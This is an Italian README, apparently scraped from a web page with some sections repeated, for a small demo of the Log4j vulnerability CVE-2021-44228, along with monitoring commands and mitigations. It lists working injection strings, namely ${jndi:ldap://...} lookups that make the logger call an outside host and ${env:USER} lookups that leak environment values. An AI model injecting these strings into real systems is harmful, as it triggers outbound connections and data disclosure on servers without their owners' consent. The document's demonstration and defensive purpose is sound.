Log4j_Vulnerability_Demo

Un semplice programma per dimostrare come la vulnerabilità Log4j può essere sfruttata ( CVE-2021-44228 )

Esecuzione della Demo :

Per avviare il programma, basta eseguire start.sh ( su sistemi UNIX ) oppure start.bat su Windows.

L'input dell'utente verrà letto e registrato nella console utilizzando il framework Log4j.

Per impostazione predefinita, i messaggi di log generati dalla libreria Log4j non forniscono errori di server non raggiungibile / host non trovato per le sostituzioni JNDI. ( E immagino che sia anche questo il motivo principale per cui questa vulnerabilità può essere sfruttata in modo furtivo )

Prova anche a usare sottodomini, come ${jndi:ldap://test29.google.com/blah} , a volte la chiamata JNDI attenderà la risposta dal server remoto ed è per questo che il programma sembra bloccato mentre in realtà ha effettuato un tentativo di connessione in background. Se usi sottodomini che non esistono, la chiamata JNDI terminerà rapidamente dopo aver effettuato un tentativo di connessione e il programma continuerà.

Ti consiglio di eseguire il programma in una shell, e di eseguire il comando " tcpdump -i any | grep google " in un'altra shell in parallelo, quindi fornire input al programma per verificare se il programma ha effettuato un tentativo di connessione.

Log4j_Vulnerability_Demo

Più Popolari

Alcuni input di esempio :

Esempi che possono essere più di un semplice messaggio di log :

${env:USER} ( UNIX )

${env:USERNAME} ( Windows )

${jndi:ldap://test.java.net}

${jndi:ldap://localhost:12000}

Monitoraggio :

tcpdump -i any | grep -i "java.net"

ncat -k -vv -c "echo hi" -l 12000

Rimozione della classe JndiLookup per mitigare la vulnerabilità :

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Questo eliminerà JndiLookup.class dal Jar core di Log4j.

Esegui lo stesso programma dopo il passaggio precedente, il programma non dovrebbe effettuare alcun tentativo di connessione / sostituzione JNDI.

Un altro modo per disabilitare le ricerche JNDI

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Questa variabile d'ambiente disabiliterà le ricerche JNDI per la sessione corrente.

Log4j_Vulnerability_Demo

Più Popolari

Log4j_Vulnerability_Demo

Esecuzione della Demo :

Sostituzioni Log4j in azione :

Tentativo di Connessioni Remote:

Alcuni input di esempio :

Esempi che possono essere più di un semplice messaggio di log :

${env:USER} ( UNIX )

${env:USERNAME} ( Windows )

${jndi:ldap://test.java.net}

${jndi:ldap://localhost:12000}

Monitoraggio :

tcpdump -i any | grep -i "java.net"

ncat -k -vv -c "echo hi" -l 12000

Rimozione della classe JndiLookup per mitigare la vulnerabilità :

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Questo eliminerà JndiLookup.class dal Jar core di Log4j.

Esegui lo stesso programma dopo il passaggio precedente, il programma non dovrebbe effettuare alcun tentativo di connessione / sostituzione JNDI.

Un altro modo per disabilitare le ricerche JNDI

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Questa variabile d'ambiente disabiliterà le ricerche JNDI per la sessione corrente.